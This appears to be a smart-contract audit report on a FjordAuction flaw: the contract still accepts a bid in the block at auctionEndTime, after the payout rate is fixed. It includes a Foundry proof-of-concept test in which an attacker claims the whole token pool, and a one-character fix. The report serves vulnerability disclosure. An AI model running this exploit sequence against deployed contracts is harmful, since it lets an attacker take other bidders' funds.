Miner attack can lead to auction pool drain.
This vulnerability can be exploited if the attacker collaborates with a miner who can order transactions in a specific sequence, and the block is mined exactly at the auctionEndTime.
If the attack is executed successfully, the attacker can seize the entire amount of auctionToken.
import "forge-std/Test.sol";
import "src/FjordAuction.sol";
import { ERC20BurnableMock } from "../mocks/ERC20BurnableMock.sol";
import { SafeMath } from "lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol";
contract TestAuction is Test {
using SafeMath for uint256;
FjordAuction public auction;
ERC20BurnableMock public fjordPoints;
ERC20BurnableMock public auctionToken;
address public owner = address(0x1);
address public bidder = address(0x2);
address public attacker = makeAddr("Attacker");
uint256 public biddingTime = 1 weeks;
uint256 public totalTokens = 1000 ether;
function setUp() public {
fjordPoints = new ERC20BurnableMock("FjordPoints", "fjoPTS");
auctionToken = new ERC20BurnableMock("AuctionToken", "AUCT");
auction =
new FjordAuction(address(fjordPoints), address(auctionToken), biddingTime, totalTokens);
deal(address(fjordPoints), attacker, 100 ether);
deal(address(fjordPoints), bidder, 100 ether);
deal(address(auctionToken), address(auction), totalTokens);
}
function testBidAfterEnd() public {
uint256 currentTimestamp = block.timestamp;
uint256 endAuctionTimestamp = currentTimestamp + biddingTime;
vm.startPrank(bidder);
fjordPoints.approve(address(auction), 100 ether);
auction.bid(99);
vm.stopPrank();
assertEq(auction.totalBids(), 99);
vm.startPrank(attacker);
fjordPoints.approve(address(auction), 100 ether);
auction.bid(1);
vm.warp(endAuctionTimestamp);
auction.auctionEnd();
auction.bid(99);
vm.stopPrank();
uint256 totalBids = auction.totalBids();
assertEq(auction.totalBids(), 199);
assert(auction.multiplier() != totalTokens.mul(1e18).div(totalBids));
uint256 attackerBalanceBefore = auctionToken.balanceOf(attacker);
vm.startPrank(attacker);
auction.claimTokens();
vm.stopPrank();
uint256 attackerBalanceAfter = auctionToken.balanceOf(attacker);
uint256 attackerBalance = attackerBalanceAfter - attackerBalanceBefore;
assert(attackerBalance == 1000 ether);
vm.startPrank(bidder);
vm.expectRevert("ERC20: transfer amount exceeds balance");
auction.claimTokens();
vm.stopPrank();
}
}
function bid(uint256 amount) external {
- if (block.timestamp > auctionEndTime) {
+ if (block.timestamp >= auctionEndTime) {
revert AuctionAlreadyEnded();
}
bids[msg.sender] = bids[msg.sender].add(amount);
totalBids = totalBids.add(amount);
fjordPoints.transferFrom(msg.sender, address(this), amount); //? approved before?
emit BidAdded(msg.sender, amount);
}
/**
* @notice Allows users to withdraw part or all of their bids before the auction ends.
* @param amount The amount of FjordPoints to withdraw.
*/
function unbid(uint256 amount) external {
- if (block.timestamp > auctionEndTime) {
+ if (block.timestamp >= auctionEndTime) {
revert AuctionAlreadyEnded();
}
uint256 userBids = bids[msg.sender];
if (userBids == 0) {
revert NoBidsToWithdraw();
}
if (amount > userBids) {
revert InvalidUnbidAmount();
}
bids[msg.sender] = bids[msg.sender].sub(amount);
totalBids = totalBids.sub(amount);
fjordPoints.transfer(msg.sender, amount);
emit BidWithdrawn(msg.sender, amount);
}